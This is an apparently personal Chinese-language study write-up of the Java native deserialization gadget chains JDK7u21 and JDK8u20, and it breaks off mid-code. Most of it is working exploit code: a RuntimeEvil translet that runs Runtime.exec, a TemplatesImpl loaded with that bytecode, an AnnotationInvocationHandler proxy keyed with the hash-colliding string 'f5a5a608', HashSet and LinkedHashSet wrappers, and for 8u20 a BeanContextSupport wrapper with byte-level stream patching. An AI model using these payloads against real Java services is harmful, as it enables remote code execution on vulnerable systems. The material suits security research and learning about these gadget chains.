仅需JDK在指定版本,有反序列化入口,但无需其他的依赖包比如CC,CB能否直接打入反序列化?
其中一个答案就是java原生反序列化链JDK7u21
jdk7u21原生反序列化
没有CC依赖,那之前的InvokerTransformer,chainedTransformer,LazyMap等都不能使用了。
不能用InvokerTransformer,那就不能用Runtime.exec,只能看是否能动态加载字节码。进而想到TemplatesImpl
publicstaticvoidmain(String[] args) throwsException{
byte[] code1=Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\RuntimeEvil.class"));
TemplatesImpltemplatesClass=newTemplatesImpl();
Field[] fields=templatesClass.getClass().getDeclaredFields();
for(Fieldfield: fields) {
field.setAccessible(true);
if(field.getName().equals("_bytecodes")) {
field.set(templatesClass, newbyte[][]{code1});
} elseif(field.getName().equals("_name")) {
field.set(templatesClass, "godown");
} elseif(field.getName().equals("_tfactory")) {
field.set(templatesClass, newTransformerFactoryImpl());
}
}
}
需要触发到templatesClass.newTransformer()
source:equalsImpl
漏洞点:在7u21的AnnotationInvocationHandler.equalsImpl()中invoke可以反射调用函数
但是为了顺利走到var5.invoke(var1)
需要走过前面的三个if
var1不是AnnotationInvocationHandler对象自身
var1需要是this.type类型的实例,也就是继承了Annotation或本身就是Annotation
else里的代码逻辑:
getMemberMethods获取了type接口下的所有方法,存储到var2。如果这里this.type是Templates接口,那就获取了Templates接口的所有方法
this.asOneOfUs(var1) == null
时,循环调用var5.invoke(var1)。var5就是循环调用的equals,hashCode,toString,annotationType。
asOneOfUs判断了var1是否为代理类实例,也就是是否为Proxy.creatProxy创建的对象,这里传进去TemplatesImpl对象,所以不是
草!记得改依赖SDK
这里有一个问题:
为什么直接向构造函数传入Templates.class不会报错?这里不传Annotation的子类为啥不报错
已向星球提问,暂时搁置这个问题
正确的方法是先随便传个注解类再反射修改为Templates接口。这里type是privite final。关于final修饰符的问题请见
从equalsImpl测试代码:
Evilcode:
publicclassRuntimeEvilextendsAbstractTranslet{
publicRuntimeEvil() throwsException{
Runtime.getRuntime().exec("calc");
}
@Override
publicvoidtransform(DOMdocument, SerializationHandler[] handlers) throwsTransletException{
}
@Override
publicvoidtransform(DOMdocument, DTMAxisIteratoriterator, SerializationHandlerhandler) throwsTransletException{
}
}
publicclassJDK7u21{
publicstaticvoidmain(String[] args) throwsException{
byte[] code1=Files.readAllBytes(Paths.get("E:\\codecollect\\RMIServer\\RMIServer\\target\\classes\\org\\example\\RuntimeEvil.class"));
TemplatesImpltemplatesClass=newTemplatesImpl();
Field[] fields=templatesClass.getClass().getDeclaredFields();
for(Fieldfield: fields) {
field.setAccessible(true);
if(field.getName().equals("_bytecodes")) {
field.set(templatesClass, newbyte[][]{code1});
} elseif(field.getName().equals("_name")) {
field.set(templatesClass, "godown");
} elseif(field.getName().equals("_tfactory")) {
field.set(templatesClass, newTransformerFactoryImpl());
}
}
Classclazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructorconstructor=clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
HashMapmap=newHashMap();
ObjectannotationInvocationHandler=constructor.newInstance(Override.class, map);
FieldtypeField=annotationInvocationHandler.getClass().getDeclaredField("type");
typeField.setAccessible(true);
typeField.set(annotationInvocationHandler, Templates.class);
Methodmethod=clazz.getDeclaredMethod("equalsImpl", Object.class);
method.setAccessible(true);
method.invoke(annotationInvocationHandler, templatesClass);
}
}
动态代理触发equalsImpl
学过CC1都知道,AnnotationInvocationHandler是个动态代理类,用这个类代理其他类,执行方法时会跳转至AnnotationInvocationHandler.invoke
如果满足:
方法名是equals
参数只有一个
第一个参数类型是Object.class
就会执行equalsImpl
什么地方调用到了equals呢?
很容易想到HashMap。在HashMap的put方法中,调用了equals。
这里的equals刚好满足上面if内的三个条件
这里,key值为AnnotationInvocationHandler代理类,k为templatesImpl恶意字节码对象,就能执行恶意代码。
k是table这个键值对(Entry)的key
跟一下put函数内的addEntry,找到了向table添加新Entry的函数
所以如下:
先向hashmap put一个key为templatesImpl恶意字节码对象,进而存进table
再put一个key为AnnotationInvocationHandler代理类,触发equals
map.put(templatesClass,null);
map.put(annotationInvocationHandler,null);
hash碰撞触发equals
现在有个问题,就是进不了for循环:
经过调试,第二次put进去时,由于hash值和第一次put的key不同,索引值i也就不同。就不会取到table[i]进行equals对比
我这里想到一个办法,既然hash是用来取table索引值的,那把第一个key直接修改到第二个key索引的table不就行了
比如templatesImpl对应索引i为4,annotationInvocationHandler对应i为14,那把templtesImpl直接赋值到table[14],就能完成对比。可惜table是transient不能修改
正确的方法是hash碰撞
在put annotationInvocationHandler时,由于key是代理类,在调用hash(key)时,k.hashCode会跳转到annotationInvocationHandler.invoke
进而跳转至hashCodeImpl()
privateinthashCodeImpl() {
intvar1=0;
Map.Entryvar3;
for(Iteratorvar2=this.memberValues.entrySet().iterator();
var2.hasNext();
var1+=127*((String)var3.getKey()).hashCode() ^memberValueHashCode(var3.getValue()))
{
var3=(Map.Entry)var2.next();
}
returnvar1;
}
该函数遍历 this.memberValues 的所有键值对,累加计算一个哈希值。具体步骤如下:
获取 memberValues 的条目迭代器。
遍历过程中,每次取一条键值对。
计算哈希值
memberValues是构造函数传入的var2
如果传入的var2只有一个Entry,那var1就等于
127*((String)var3.getKey()).hashCode() ^memberValueHashCode(var3.getValue())
如果127 * ((String)var3.getKey()).hashCode()
等于0,任何数异或0等于其本身。上式等于memberValueHashCode(var3.getValue())
memberValueHashCode根据不同的数据类型获取hash值
也就是说,假如((String)var3.getKey()).hashCode()
等于0时,返回的var1是传入AnnotationInvocationHandler第二个参数map的hashCode(Value)
令该Value等于第一次put的key,也就是templatesClass恶意类对象,其hashCode就相同,返回值相同,能走进for循环触发equals
一切的问题,都在于怎么使((String)var3.getKey()).hashCode()
=0
f5a5a608
hashCode值为0
于是,代码如下:
importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
importcom.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
importjavax.xml.transform.Templates;
importjava.lang.reflect.*;
importjava.nio.file.Files;
importjava.nio.file.Paths;
importjava.util.HashMap;
importjava.util.Map;
publicclassJDK7u21{
publicstaticvoidmain(String[] args) throwsException{
byte[] code1=Files.readAllBytes(Paths.get("E:\\codecollect\\RMIServer\\RMIServer\\target\\classes\\org\\example\\RuntimeEvil.class"));
TemplatesImpltemplatesClass=newTemplatesImpl();
Field[] fields=templatesClass.getClass().getDeclaredFields();
for(Fieldfield: fields) {
field.setAccessible(true);
if(field.getName().equals("_bytecodes")) {
field.set(templatesClass, newbyte[][]{code1});
} elseif(field.getName().equals("_name")) {
field.set(templatesClass, "godown");
} elseif(field.getName().equals("_tfactory")) {
field.set(templatesClass, newTransformerFactoryImpl());
}
}
Classclazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructorconstructor=clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
HashMapAnnovar2map=newHashMap();
Annovar2map.put("f5a5a608",templatesClass);
HashMapmap=newHashMap();
InvocationHandlerannotationInvocationHandler=(InvocationHandler) constructor.newInstance(Override.class, Annovar2map);
FieldtypeField=annotationInvocationHandler.getClass().getDeclaredField("type");
typeField.setAccessible(true);
typeField.set(annotationInvocationHandler, Templates.class);
MapannoProxy=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),newClass[]{Map.class},annotationInvocationHandler);
map.put(templatesClass,null);
map.put(annoProxy,null);
}
}
链接到readObject
HashSet.readObject调用了put
但是由于HashSet在add的时候就会调用put,就会类似URLDNS在反序列化之前就触发,影响判断
所以先把annoProxy的构造函数传入的两个值任选一个先修改
publicclassJDK7u21{
publicstaticvoidmain(String[] args) throwsException{
byte[] code1=Files.readAllBytes(Paths.get("E:\\codecollect\\RMIServer\\RMIServer\\target\\classes\\org\\example\\RuntimeEvil.class"));
TemplatesImpltemplatesClass=newTemplatesImpl();
Field[] fields=templatesClass.getClass().getDeclaredFields();
for(Fieldfield: fields) {
field.setAccessible(true);
if(field.getName().equals("_bytecodes")) {
field.set(templatesClass, newbyte[][]{code1});
} elseif(field.getName().equals("_name")) {
field.set(templatesClass, "godown");
} elseif(field.getName().equals("_tfactory")) {
field.set(templatesClass, newTransformerFactoryImpl());
}
}
Classclazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructorconstructor=clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
HashMapAnnovar2map=newHashMap();
Annovar2map.put("f5a5a608",templatesClass);
InvocationHandlerannotationInvocationHandler=(InvocationHandler) constructor.newInstance(Override.class, Annovar2map);
FieldtypeField=annotationInvocationHandler.getClass().getDeclaredField("type");
typeField.setAccessible(true);
MapannoProxy=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),newClass[]{Map.class},annotationInvocationHandler);
HashSetannoset=newHashSet(2);
annoset.add(templatesClass);
annoset.add(annoProxy);
typeField.set(annotationInvocationHandler, Templates.class);
serialize(annoset);
unserialize("ser.bin");
}
publicstaticvoidserialize(Objectobj) throwsException
{
java.io.FileOutputStreamfos=newjava.io.FileOutputStream("ser.bin");
java.io.ObjectOutputStreamoos=newjava.io.ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
publicstaticObjectunserialize(StringFilename) throwsIOException, ClassNotFoundException
{
java.io.FileInputStreamfis=newjava.io.FileInputStream(Filename);
java.io.ObjectInputStreamois=newjava.io.ObjectInputStream(fis);
Objectobj=ois.readObject();
ois.close();
returnobj;
}
}
为什么还是跑不了?
调试的时候发现先put的是annoProxy,(逆序反序列化),后put的templatesClass
这里因为没有AnnotationInvocationHandler的源码所以调试报错,不用管。
换个顺序就能爆杀辣:
packageorg.example;
importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
importcom.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
importjavax.xml.transform.Templates;
importjava.io.IOException;
importjava.lang.reflect.*;
importjava.nio.file.Files;
importjava.nio.file.Paths;
importjava.util.HashMap;
importjava.util.HashSet;
importjava.util.Map;
publicclassJDK7u21{
publicstaticvoidmain(String[] args) throwsException{
byte[] code1=Files.readAllBytes(Paths.get("E:\\codecollect\\RMIServer\\RMIServer\\target\\classes\\org\\example\\RuntimeEvil.class"));
TemplatesImpltemplatesClass=newTemplatesImpl();
Field[] fields=templatesClass.getClass().getDeclaredFields();
for(Fieldfield: fields) {
field.setAccessible(true);
if(field.getName().equals("_bytecodes")) {
field.set(templatesClass, newbyte[][]{code1});
} elseif(field.getName().equals("_name")) {
field.set(templatesClass, "godown");
} elseif(field.getName().equals("_tfactory")) {
field.set(templatesClass, newTransformerFactoryImpl());
}
}
Classclazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructorconstructor=clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
HashMapAnnovar2map=newHashMap();
Annovar2map.put("f5a5a608",templatesClass);
InvocationHandlerannotationInvocationHandler=(InvocationHandler) constructor.newInstance(Override.class, Annovar2map);
FieldtypeField=annotationInvocationHandler.getClass().getDeclaredField("type");
typeField.setAccessible(true);
MapannoProxy=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),newClass[]{Map.class},annotationInvocationHandler);
HashSetannoset=newHashSet();
annoset.add(annoProxy);
annoset.add(templatesClass);
typeField.set(annotationInvocationHandler, Templates.class);
serialize(annoset);
unserialize("ser.bin");
}
publicstaticvoidserialize(Objectobj) throwsException
{
java.io.FileOutputStreamfos=newjava.io.FileOutputStream("ser.bin");
java.io.ObjectOutputStreamoos=newjava.io.ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
publicstaticObjectunserialize(StringFilename) throwsIOException, ClassNotFoundException
{
java.io.FileInputStreamfis=newjava.io.FileInputStream(Filename);
java.io.ObjectInputStreamois=newjava.io.ObjectInputStream(fis);
Objectobj=ois.readObject();
ois.close();
returnobj;
}
}
当然这种换了个顺序也就不会提前从add触发了,可以把typeField.set移上去
为什么ysoserial上面是LinkedHashSet呢?
我也不知道,可能是好看点?你也可以选择用LinkedHashSet装配
反序列化链:
HashSet.readObject ->
HashMap.put ->
AnnotationInvocationHandler.invoke-> hashCodeImpl ->
AnnotationInvocationHandler.invoke-> equalsImpl ->
TemplatesImpl.newTransformer
LinkedHashSet版:
HashSet.readObject判断如果是用LinkedHashSet对象,就用LinkedHashMap存储。LinkedHashMap增加了一个双向链表来链接所有Entry,遍历时按照元素被插入的顺序进行遍历。add时按照正常顺序add
packageorg.example;
importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
importcom.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
importjavax.xml.transform.Templates;
importjava.io.IOException;
importjava.lang.reflect.*;
importjava.nio.file.Files;
importjava.nio.file.Paths;
importjava.util.HashMap;
importjava.util.HashSet;
importjava.util.LinkedHashSet;
importjava.util.Map;
publicclassJDK7u21{
publicstaticvoidmain(String[] args) throwsException{
byte[] code1=Files.readAllBytes(Paths.get("E:\\codecollect\\RMIServer\\RMIServer\\target\\classes\\org\\example\\RuntimeEvil.class"));
TemplatesImpltemplatesClass=newTemplatesImpl();
Field[] fields=templatesClass.getClass().getDeclaredFields();
for(Fieldfield: fields) {
field.setAccessible(true);
if(field.getName().equals("_bytecodes")) {
field.set(templatesClass, newbyte[][]{code1});
} elseif(field.getName().equals("_name")) {
field.set(templatesClass, "godown");
} elseif(field.getName().equals("_tfactory")) {
field.set(templatesClass, newTransformerFactoryImpl());
}
}
Classclazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructorconstructor=clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
HashMapAnnovar2map=newHashMap();
Annovar2map.put("f5a5a608",templatesClass);
InvocationHandlerannotationInvocationHandler=(InvocationHandler) constructor.newInstance(Override.class, Annovar2map);
FieldtypeField=annotationInvocationHandler.getClass().getDeclaredField("type");
typeField.setAccessible(true);
MapannoProxy=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),newClass[]{Map.class},annotationInvocationHandler);
LinkedHashSetannoset=newLinkedHashSet();
annoset.add(templatesClass);
annoset.add(annoProxy);
typeField.set(annotationInvocationHandler, Templates.class);
serialize(annoset);
unserialize("ser.bin");
}
publicstaticvoidserialize(Objectobj) throwsException
{
java.io.FileOutputStreamfos=newjava.io.FileOutputStream("ser.bin");
java.io.ObjectOutputStreamoos=newjava.io.ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
publicstaticObjectunserialize(StringFilename) throwsIOException, ClassNotFoundException
{
java.io.FileInputStreamfis=newjava.io.FileInputStream(Filename);
java.io.ObjectInputStreamois=newjava.io.ObjectInputStream(fis);
Objectobj=ois.readObject();
ois.close();
returnobj;
}
}
LinedHashSet反序列化链
LinkedHashSet.add()
HashSet.readObject->
HashMap.put->
AnnotationInvocationHandler.invoke->hashCodeImpl->
AnnotationInvocationHandler.invoke->equalsImpl->
TemplatesImpl.newTransformer
修复
7u80
7u80的AnnotationInvocationHandler构造方法对this.type加强了校验(没什么卵用,反射依旧能改),重点是在readObject中,this.type不是AnnotationType子类直接报错。
JDK8u20原生反序列化
环境切到8u20
原理方面下文讲的很透彻
https://cloud.tencent.com/developer/article/2204437
该漏洞利用的是try{...} catch{...}
块有无向外throw异常的区别
区分下面这两个伪代码:
publicstaticvoidinerror(){
try{
codeA
} catch(Exceptione){
System.out.println("内层try catch错误");
}
}
publicstaticvoidouterror(){
try{
inerror();
codeB
} catch(Exceptione){
System.out.println("外层try catch错误");
throwe;
}
}
调用outerror()时,如果inerror()捕捉到了异常,打印了内层try catch错误
,也会继续执行codeB,而不会进入外层catch。但是如果codeB报错,就会终止代码流程转而报这种红错,而不会进入外层catch
publicstaticvoidinerror(){
try{
codeA
} catch(Exceptione){
System.out.println("内层try catch错误");
throwe;
}
}
publicstaticvoidouterror(){
try{
inerror();
codeB
} catch(Exceptione){
System.out.println("外层try catch错误");
}
}
调用outerror()时,如果inerror()捕捉到了异常,打印了内层try catch错误
,不会继续执行codeB,直接进入外层catch打印外层try catch错误
。如果inerror没有捕捉到异常,codeB有错,也会进入外层catch打印外层try catch错误
目前看来规律就是嵌套的try{...} catch{...}
只会抛出一个catch,只有内层向外层throw异常的时候,才会逐层向外触发catch。内层函数没有throw异常,则会继续运行内层函数后面的代码。且没有throw的情况下触发第二个异常会终止程序报红错
由于jdk7u21并没有使用到AnnotationInvocationHandler.readObject,所以只要能正常反序列化AnnotationInvocationHandler(不终止进程报红错),就能触发jdk7u21反序列化
让下面的catch不报红错,红框后面的代码不执行也无所谓,已经用defaultReadObject反序列化字段了
defaultReadObject并不会链式调用readOject,只会反序列化该对象的字段
但是对象A有一个字段B,B是一个对象,那在A的readObject调用defaultReadObject,会调用B的readObject
按上面的case来看,需要有以下特点的类来包裹:
readObject里一个
try{...} catch{...}
触发AnnotationInvocationHandler.readObject上一点的
catch{...}
块不能throw异常
java.beans.beancontext.BeanContextSupport满足以上要求
BeanContextSupport.readObject调用readChildren()
readChildren调用子函数readObject,且过程中有捕捉到了异常用continue跳过,下面的代码(强转,调用函数)均没有throw异常
如何用BeanContextSupport.readObject触发AnnotationInvocationHandler.readObject呢?之前我们构造的反序列化链都是利用defaultReadObject反序列化字段,字段为对象进而链式触发readObject
但是BeanContextSupport.readObject的defaultReadObject()不在readChildren内,即使设置字段为AnnotationInvocationHandler对象依旧会catch异常。(更别说该类根本没有能存储HashSet对象的非transient字段
那该怎么触发BeanContextSupport.readChildren->AnnotationInvocationHandler.readObject?
SerializationDumper
介绍一个工具SerializationDumper
https://github.com/NickstaDB/SerializationDumper
Usage1:java-jarSerializationDumper-v1.1.jar-rout.bin
Usage2:java-jarSerializationDumper-v1.1.jar"aced..."
引用机制
在序列化流程中,对象所属类、对象成员属性等数据都会被使用固定的语法写入到序列化数据,并且会被特定的方法读取;在序列化数据中,存在的对象有null、new objects、classes、arrays、strings、back references等,这些对象在序列化结构中都有对应的描述信息,并且每一个写入字节流的对象都会被赋予引用
Handle
,并且这个引用Handle
可以反向引用该对象(使用TC_REFERENCE
结构,引用前面handle的值),引用Handle
会从0x7E0000
开始进行顺序赋值并且自动自增,一旦字节流发生了重置则该引用Handle会重新从0x7E0000
开始。成员抛弃
在反序列化中,如果当前这个对象中的某个字段并没有在字节流中出现,则这些字段会使用类中定义的默认值,如果这个值出现在字节流中,但是并不属于对象,则抛弃该值,但是如果这个值是一个对象的话,那么会为这个值分配一个 Handle。
如果调用两次writeObject进行序列化写入,相比只进行一次out.writeObject(t);
,用SerializationDumper分析如下
importjava.io.*;
publicclasstestimplementsSerializable{
privatestaticfinallongserialVersionUID=100L;
publicstaticintnum=0;
privatevoidreadObject(ObjectInputStreaminput) throwsException{
input.defaultReadObject();
System.out.println("hello!");
}
publicstaticvoidmain(String[] args) throwsIOException{
testt=newtest();
ObjectOutputStreamout=newObjectOutputStream(newFileOutputStream("testcase"));
out.writeObject(t);
out.writeObject(t); //二次序列化
out.close();
}
}
注意bin文件要用-r参数
序列化两次的会在底部多出TC_REFERENCE块
偏移为0x71,这就是之前提到的
每一个写入字节流的对象都会被赋予引用
Handle
,并且这个引用Handle
可以反向引用该对象(使用TC_REFERENCE
结构,引用前面handle的值),引用Handle
会从0x7E0000
开始进行顺序赋值并且自动自增,一旦字节流发生了重置则该引用Handle会重新从0x7E0000
开始。
ObjectInputStream序列化流程中,readObject调用readObject0
readObject0记录了各个块的处理方式,其中TC_REFERENCE用readHandle处理
readHandle调用handles.lookupObject返回引用对象
即反序列化过程中,会还原TC_REFERENCE引用的handle对象
TC_REFERENCE中存放的是对象的引用,对象真正的内容存在哪呢?
答案是objectAnnotation块
用以下代码做个例子,用writeObject写入"Panda"和"This is a test data!"的UTF
importjava.io.*;
publicclasstestimplementsSerializable{
privatestaticfinallongserialVersionUID=100L;
publicstaticintnum=0;
privatevoidreadObject(ObjectInputStreaminput) throwsException{
input.defaultReadObject();
System.out.println("hello!");
}
privatevoidwriteObject(ObjectOutputStreamoutput) throwsIOException{
output.defaultWriteObject();
output.writeObject("Panda");
output.writeUTF("This is a test data!");
}
publicstaticvoidmain(String[] args) throwsIOException, ClassNotFoundException{
testt=newtest();
ObjectOutputStreamout=newObjectOutputStream(newFileOutputStream("testcase_new"));
out.writeObject(t);
out.writeObject(t);
out.close();
}
}
和上一份test2对比序列化内容,多出了classDescFlags和objectAnnotations
如果一个可序列化的类重写了
writeObject
方法,而且向字节流写入了一些额外的数据,那么会设置SC_WRITE_METHOD
标识,这种情况下,一般使用结束符TC_ENDBLOCKDATA
来标记这个对象的数据结束;如果一个可序列化的类重写了
writeObject
方法,在该序列化数据的classdata
部分,还会多出个objectAnnotation
部分,并且如果重写的writeObject()
方法内除了调用defaultWriteObject()
方法写对象字段数据,还向字节流中写入了自定义数据,那么在objectAnnotation
部分会有写入自定义数据对应的结构和值;
ObjectAnnotation
结构一般由TC_ENDBLOCKDATA - 0x78
标记结尾
这个case可以顺利反序列化,因为没有特殊结构的数据
下面这个case能反序列化吗
importjava.io.*;
publicclasstestimplementsSerializable{
privatestaticfinallongserialVersionUID=100L;
publicstaticintnum=0;
privatevoidreadObject(ObjectInputStreaminput) throwsException{
input.defaultReadObject();
System.out.println("hello!");
}
privatevoidwriteObject(ObjectOutputStreamoutput) throwsIOException{
output.defaultWriteObject();
LinkedHashSetset=newLinkedHashSet();
set.add("aaa");
output.writeObject(set);
output.writeObject("bbb");
output.writeObject("ccc");
}
publicstaticvoidmain(String[] args) throwsIOException, ClassNotFoundException{
testt=newtest();
ObjectOutputStreamout=newObjectOutputStream(newFileOutputStream("testcase_new"));
out.writeObject(t);
out.writeObject(t);
out.close();
}
}
不能,对比以下和三个正常的add有什么区别:
左边是add三次,右边是add一次,writeObject两次
(后面有0x...才是真实有进制数据的,其他的是描述符,比如values这些可以忽略
可以看到有两个差别
Contents
值,也就是LinkedHashSet元素个数ObjectAnntation
结束符TC_ENDBLOCKDATA
标记的位置。writeObject进数据的版本TC_ENDBLOCKDATA
提前结束了
修改上面两个差别
publicstaticvoidmain(String[] args) throwsIOException, ClassNotFoundException{
testt=newtest();
ObjectOutputStreamout=newObjectOutputStream(newFileOutputStream("testcase_new"));
out.writeObject(t);
out.writeObject(t);
out.close();
byte[] bytes=Files.readAllBytes(Paths.get("testcase_new"));
bytes[89] =3;//修改hashset的长度(元素个数)
for(inti=0; i<bytes.length; i++){
if(bytes[i] ==97&&bytes[i+1] ==97&&bytes[i+2] ==97){
bytes=Util.deleteAt(bytes, i+3);
break;
}
}//调整TC_ENDBLOCKDATA标记的位置
bytes=Util.addAtLast(bytes, (byte) 0x78);
writeBinaryFile("testcase_new", bytes);
}
publicclassUtil{
publicstaticbyte[] deleteAt(byte[] array, intindex) {
if(index<0||index>=array.length) {
thrownewIndexOutOfBoundsException("Index out of bounds: "+index);
}
byte[] result=newbyte[array.length-1];
System.arraycopy(array, 0, result, 0, index);
System.arraycopy(array, index+1, result, index, array.length-index-1);
returnresult;
}
publicstaticbyte[] addAtLast(byte[] array, bytevalue) {
byte[] result=newbyte[array.length+1];
System.arraycopy(array, 0, result, 0, array.length);
result[array.length] =value;
returnresult;
}
}
生成的文件一样。这个改了Contents
和TC_ENDBLOCKDATA
的序列化文件就能进行反序列化
该在哪插入BeanContextSupport呢?
jdk7u21的链从LinkedHashSet开始
LinkedHashSet.add()
HashSet.readObject->
HashMap.put->
AnnotationInvocationHandler.invoke->hashCodeImpl->
AnnotationInvocationHandler.invoke->equalsImpl->
TemplatesImpl.newTransformer
AnnotationInvocationHandler.readObject抛出的异常必须由BeanContextSupport直接接收,不然抛出到LinkedHashSet或者HashMap都会直接中止程序并报红错。
我们在一开始的LinkedHashSet就强制设置一个字段为BeanContextSupport(包含了需要初始化的AnnotationInvocationHandler对象)。这样在HashSet.readObject一开始就能初始化Anno对象(触发完Anno.readObject),后面就不会报错了
可纵观HashSet,一个transient,一个static final,没有一个字段可以强行设置,只有调用add向HashMap装填BeanContextSupport
就利用到了上面修改Contents和TC_REFERENCE字段的case了
payload直接抄,以后也用不到自己写的
payload:
packageorg.example;
importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
importcom.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
importjavax.xml.transform.Templates;
importjava.beans.beancontext.BeanContextSupport;
importjava.io.*;
importjava.lang.reflect.Constructor;
importjava.lang.reflect.Field;
importjava.lang.reflect.InvocationHandler;
importjava.lang.reflect.Proxy;
importjava.nio.file.Files;
importjava.nio.file.Paths;
importjava.util.HashMap;
importjava.util.LinkedHashSet;
importjava.util.Map;
publicclassJDK8u20{
publicstaticvoidmain(String[] args) throwsException{
byte[] code1=Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\Idea_java_ProTest\\Test\\target\\classes\\RuntimeEvil.class"));
TemplatesImpltemplatesClass=newTemplatesImpl();
Field[] fields=templatesClass.getClass().getDeclaredFields();
for(Fieldfield: fields) {
field.setAccessible(true);
if(field.getName().equals("_bytecodes")) {
field.set(templatesClass, newbyte[][]{code1});
} elseif(field.getName().equals("_name")) {
field.set(templatesClass, "godown");
} elseif(field.getName().equals("_tfactory")) {
field.set(templatesClass, newTransformerFactoryImpl());
}
}
Classclazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructorconstructor=clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
HashMapAnnovar2map=newHashMap();
Annovar2map.put("f5a5a608",templatesClass);
InvocationHandlerannotationInvocationHandler=(InvocationHandler) constructor.newInstance(Override.class, Annovar2map);
FieldtypeField=annotationInvocationHandler.getClass().getDeclaredField("type");
typeField.setAccessible(true);
MapannoProxy=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),newClass[]{Map.class},annotationInvocationHandler);
LinkedHashSetannoset=newLinkedHashSet();
typeField.set(annotationInvocationHandler, Templates.class);
BeanContextSupportbcs=newBeanContextSupport();
Classcc=Class.forName("java.beans.beancontext.BeanContextSupport");
Fieldserializable=cc.getDeclaredField("serializable");
serializable.setAccessible(true);
serializable.set(bcs, 0);
FieldbeanContextChildPeer=cc.getSuperclass().getDeclaredField("beanContextChildPeer");
beanContextChildPeer.set(bcs, bcs);
annoset.add(bcs);
//序列化
ByteArrayOutputStreambaous=newByteArrayOutputStream();
ObjectOutputStreamoos=newObjectOutputStream(baous);
oos.writeObject(annoset);
oos.writeObject(annotationInvocationHandler);
oos.writeObject(templatesClass);
oos.writeObject(annoProxy);
oos.close();
byte[] bytes=baous.toByteArray();
System.out.println("[+] Modify HashSet size from 1 to 3");
bytes[89] =3; //修改hashset的长度(元素个数)
//调整 TC_ENDBLOCKDATA 标记的位置
//0x73 = 115, 0x78 = 120
//0x73 for TC_OBJECT, 0x78 for TC_ENDBLOCKDATA
for(inti=0; i<bytes.length; i++){
if(bytes[i] ==0&&bytes[i+1] ==0&&bytes[i+2] ==0&bytes[i+3] ==0&&
bytes[i+4] ==120&&bytes[i+5] ==120&&bytes[i+6] ==115){
System.out.println("[+] Delete TC_ENDBLOCKDATA at the end of HashSet");
bytes=Util.deleteAt(bytes, i+5);
break;
}
}
//将 serializable 的值修改为 1
//0x73 = 115, 0x78 = 120
//0x73 for TC_OBJECT, 0x78 for TC_ENDBLOCKDATA
for(inti=0; i<bytes.length; i++){
if(bytes[i] ==120&&bytes[i+1] ==0&&bytes[i+2] ==1&&bytes[i+3] ==0&&
bytes[i+4] ==0&&bytes[i+5] ==0&&bytes[i+6] ==0&&bytes[i+7] ==115){
System.out.println("[+] Modify BeanContextSupport.serializable from 0 to 1");
bytes[i+6] =1;
break;
}
}
/**
TC_BLOCKDATA - 0x77
Length - 4 - 0x04
Contents - 0x00000000
TC_ENDBLOCKDATA - 0x78
**/
//把这部分内容先删除,再附加到 AnnotationInvocationHandler 之后
//目的是让 AnnotationInvocationHandler 变成 BeanContextSupport 的数据流
//0x77 = 119, 0x78 = 120
//0x77 for TC_BLOCKDATA, 0x78 for TC_ENDBLOCKDATA
for(inti=0; i<bytes.length; i++){
if(bytes[i] ==119&&bytes[i+1] ==4&&bytes[i+2] ==0&&bytes[i+3] ==0&&
bytes[i+4] ==0&&bytes[i+5] ==0&&bytes[i+6] ==120){
System.out.println("[+] Delete TC_BLOCKDATA...int...TC_BLOCKDATA at the End of BeanContextSupport");
bytes=Util.deleteAt(bytes, i);
bytes=Util.deleteAt(bytes, i);
bytes=Util.deleteAt(bytes, i);
bytes=Util.deleteAt(bytes, i);
bytes=Util.deleteAt(bytes, i);
bytes=Util.deleteAt(bytes, i);
bytes=Util.deleteAt(bytes, i);
break;
}
}
/*
serialVersionUID - 0x00 00 00 00 00 00 00 00
newHandle 0x00 7e 00 28
classDescFlags - 0x00 -
fieldCount - 0 - 0x00 00
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 29
*/
//0x78 = 120, 0x70 = 112
//0x78 for TC_ENDBLOCKDATA, 0x70 for TC_NULL
for(inti=0; i<bytes.length; i++){
if(bytes[i] ==0&&bytes[i+1] ==0&&bytes[i+2] ==0&&bytes[i+3] ==0&&
bytes[i+4] ==0&&bytes[i+5] ==0&&bytes[i+6] ==0&&bytes[i+7] ==0&&
bytes[i+8] ==0&&bytes[i+9] ==0&&bytes[i+10] ==0&&bytes[i+11] ==120&&
bytes[i+12] ==112){
System.out.println("[+] Add back previous delte TC_BLOCKDATA...int...TC_BLOCKDATA after invocationHandler");
i=i+13;
bytes=Util.addAtIndex(bytes, i++, (byte) 0x77);
bytes=Util.addAtIndex(bytes, i++, (byte) 0x04);
bytes=Util.addAtIndex(bytes, i++, (byte) 0x00);
bytes=Util.addAtIndex(bytes, i++, (byte) 0x00);
